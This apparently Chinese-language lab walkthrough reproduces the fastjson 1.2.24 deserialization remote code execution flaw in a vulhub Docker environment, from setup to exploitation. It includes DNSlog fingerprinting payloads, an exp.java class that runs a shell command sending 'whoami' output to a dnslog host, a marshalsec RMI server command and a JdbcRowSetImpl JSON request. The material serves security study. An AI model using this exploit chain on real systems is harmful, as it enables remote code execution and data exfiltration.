环境搭建
本次搭建的利用的vulhub
一键搭建
Git克隆项目,这里需要安装docker和docker-compose环境一键化管理工具,由于之前我已经安装过了所以直接克隆,不懂的可以参考Vulhub官网自行搭建。
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/
这里面一共有俩个漏洞环境分别是1.2.24-rce
和1.2.47-rce
,依次给大家复现。
cd 1.2.24-rce/
docker-compose up -d
第一次启动可能会等待较长时间,可以修改docker源之后再执行,这里推荐使用阿里云自己账号的源,个人感觉比较快,打开阿里云——>控制台——>容器镜像服务——>镜像加速器。
docker ps -a
查看所有容器
指纹识别
1、报错判断
复现漏洞之前首先要说一下fastjson的指纹,如果我们在实际场景中遇到json数据怎么判断是后端是利用的哪个库,所以我们第一个问题就是怎么判断fastjson,正常来说fastjson是没有指纹的,但是我们可以通过报错来判断,比如直接发送post数据或者加一个左花括号不闭合都可以。
2、dns盲打
那如果网站做了报错不显示的处理岂不是这种办法就失效了?
不要着急,利用dnslog探测,这里需要注意Content-Type必须为json才可以。
< 1.2.67版本palyload
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
> 1.2.67版本payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
安装java环境
复现需要jdk环境https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html`选择对应的操作系统位数下载即可。
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile
在最后添加全局变量
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
添加完后wq保存,执行source /etc/profile
或. /etc/profile
让文件立即生效,注意 . 跟/etc/profile中间有一个空格。
漏洞复现
我们这里选择java rmi模式复现此漏洞,漏洞也是按照vluhub
官网的复现方法进行复现。保存以下代码为exp.java。
import java.lang.Runtime;
import java.lang.Process;
public class exp{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping -c 1 `whoami`.xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译java文件,然后开启http服务将编译好的class文件放在web目录下,我这里开启的3000端口。
借助marshalsec
项目,启动一个RMI服务器,监听9999端口,并制定加载远程类exp.class
安装marshalsec
前需要先安装maven
wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz
tar -zxvf apache-maven-3.5.4-bin.tar.gz
配置maven:vim /etc/profile
export MAVEN_HOME=/opt/apache-maven-3.5.4 /*这个目录换成你的 maven 解压后的文件所在目录*/
export PATH=$MAVEN_HOME/bin:$PATH
source /etc/profile
执行mvn -version
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
编译
mvn clean package -DskipTests
编译完成后会在target目录下生成一个marshalsec-0.0.3-SNAPSHOT-all.jar
文件
cd /data
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.104/#exp" 9999
burp 发包
POST / HTTP/1.1
Host: 192.168.0.104:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 157
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.104:9999/exp",
"autoCommit":true
}
}
参考文章
https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog
https://github.com/alibaba/fastjson/issues/3077
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
https://www.freebuf.com/articles/web/242712.html
本文始发于微信公众号(哈拉少安全小队):fast json漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论